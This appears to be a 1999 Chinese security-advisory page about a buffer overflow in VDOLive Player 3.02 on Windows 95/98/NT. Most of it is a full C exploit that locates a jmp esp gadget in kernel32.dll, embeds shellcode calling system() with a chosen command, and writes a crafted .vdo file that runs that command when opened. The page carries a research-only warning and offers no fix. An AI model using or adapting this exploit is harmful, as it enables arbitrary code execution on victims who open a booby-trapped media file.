首页 -> 安全研究
安全研究
安全漏洞
VDO Live Player缓冲区溢出漏洞
发布日期:1999-12-13
更新日期:1999-12-16
受影响系统:
VDOnet VDOLive Player 3.0.2描述:
- Microsoft Windows 98
- Microsoft Windows 95
- Microsoft Windows NT 4.0
VDOLive Player v3.02存在一个未经校验的缓冲区,通过这个缓冲区溢出,可使系统在装载特制的.vdo文件时执行任意代码。
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
/*====================================================================
ex_vdolive.c / VDO Live Player 3.02 32bit exploit
The Shadow Penguin Security (http://shadowpenguin.backsection.net)
Written by UNYUN (shadowpenguin@backsection.net)
===================================================================
*/
#include <stdio.h>
#include <string.h>
#include <windows.h>
#define RETADR 90
#define CODE1_OFS 102
#define CODE2_OFS 10
#define MAXBUF1 180
#define MAXBUF2 1500
#define JMPESP_1 0xff
#define JMPESP_2 0xe4
#define NOP 0x90
#define KERNEL_NAME "kernel32.dll"
unsigned char exploit_jmping[100]={
0x33,0xDB,0x8B,0x41,0x30,0xB3,0xBB,0x03,
0xC3,0xFF,0xE0,0x00};
unsigned char exploit_code[200]={
0xEB,0x4B,0x5B,0x53,0x32,0xE4,0x83,0xC3,
0x0B,0x4B,0x88,0x23,0xB8,0x50,0x77,0xF7,
0xBF,0xFF,0xD0,0x8B,0xD0,0x52,0x43,0x53,
0x52,0x32,0xE4,0x83,0xC3,0x06,0x88,0x23,
0xB8,0x28,0x6E,0xF7,0xBF,0xFF,0xD0,0x8B,
0xF0,0x5A,0x43,0x53,0x52,0x32,0xE4,0x83,
0xC3,0x04,0x88,0x23,0xB8,0x28,0x6E,0xF7,
0xBF,0xFF,0xD0,0x8B,0xF8,0x43,0x53,0x83,
0xC3,0x0B,0x32,0xE4,0x88,0x23,0xFF,0xD6,
0x33,0xC0,0x50,0xFF,0xD7,0xE8,0xB0,0xFF,
0xFF,0xFF,0x00};
unsigned char cmdbuf[200]="msvcrt.dll.system.exit.";
unsigned int search_mem(unsigned char *st,unsigned char *ed,
unsigned char c1,unsigned char c2)
{
unsigned char *p;
unsigned int adr;
for (p=st;p<ed;p++)
if (*p==c1 && *(p+1)==c2){
adr=(unsigned int)p;
if ((adr&0xff)==0) continue;
if (((adr>>8)&0xff)==0) continue;
if (((adr>>16)&0xff)==0) continue;
if (((adr>>24)&0xff)==0) continue;
return(adr);
}
return(0);
}
main(int argc,char *argv[])
{
unsigned int i,kp,ip,p1,p2;
static unsigned char buf1[MAXBUF1],buf2[MAXBUF2],*q;
FILE *fp;
MEMORY_BASIC_INFORMATION meminfo;
if (argc<2){
printf("usage: %s FileName Command\n",argv[0]);
exit(1);
}
if ((void *)(kp=(unsigned int)LoadLibrary(KERNEL_NAME))==NULL){
printf("Can not find %s\n",KERNEL_NAME);
exit(1);
}
VirtualQuery((void *)kp,&meminfo,sizeof(MEMORY_BASIC_INFORMATION));
for (i=0;i<meminfo.RegionSize;i++){
ip=kp+i;
if ( ( ip &0xff)==0
|| ((ip>>8 )&0xff)==0
|| ((ip>>16)&0xff)==0
|| ((ip>>24)&0xff)==0) continue;
q=(unsigned char *)ip;
if (*q==JMPESP_1 && *(q+1)==JMPESP_2) break;
}
if (i==meminfo.RegionSize){
printf("Can not find codes which are used by this exploit.\n");
exit(1);
}
printf("RETADR : %x\n",ip);
memset(buf1,NOP,MAXBUF1-1);
memset(buf2,NOP,MAXBUF2-1);
buf1[RETADR ]=ip&0xff;
buf1[RETADR+1]=(ip>>8)&0xff;
buf1[RETADR+2]=(ip>>16)&0xff;
buf1[RETADR+3]=(ip>>24)&0xff;
strcat(cmdbuf,argv[2]);
strncpy(buf1+CODE1_OFS,exploit_jmping,strlen(exploit_jmping));
p1=(unsigned int)GetProcAddress((HMODULE)kp,"LoadLibraryA");
p2=(unsigned int)GetProcAddress((HMODULE)kp,"GetProcAddress");
printf("LoadLibrary Address : %x\n",p1);
printf("GetProcAddress Address : %x\n",p2);
strcat(exploit_code,cmdbuf);
exploit_code[0x0d]=p1&0xff;
exploit_code[0x0e]=(p1>>8)&0xff;
exploit_code[0x0f]=(p1>>16)&0xff;
exploit_code[0x10]=(p1>>24)&0xff;
exploit_code[0x21]=exploit_code[0x35]=p2&0xff;
exploit_code[0x22]=exploit_code[0x36]=(p2>>8)&0xff;
exploit_code[0x23]=exploit_code[0x37]=(p2>>16)&0xff;
exploit_code[0x24]=exploit_code[0x38]=(p2>>24)&0xff;
exploit_code[0x41]=strlen(argv[2]);
memcpy(buf2+CODE2_OFS,exploit_code,strlen(exploit_code));
strncpy(buf1,"vdo://",6);
buf1[MAXBUF1]=0;
buf2[MAXBUF2]=0;
if ((fp=fopen(argv[1],"w"))==NULL){
printf("Can not create ''%s''\n",argv[1]);
exit(1);
}
fprintf(fp,"%s/%s\n",buf1,buf2);
printf("File ''%s'' is created.\n",argv[1]);
return FALSE;
}
建议:
暂无。
浏览次数:8737
严重程度:0(网友投票)
绿盟科技给您安全的保障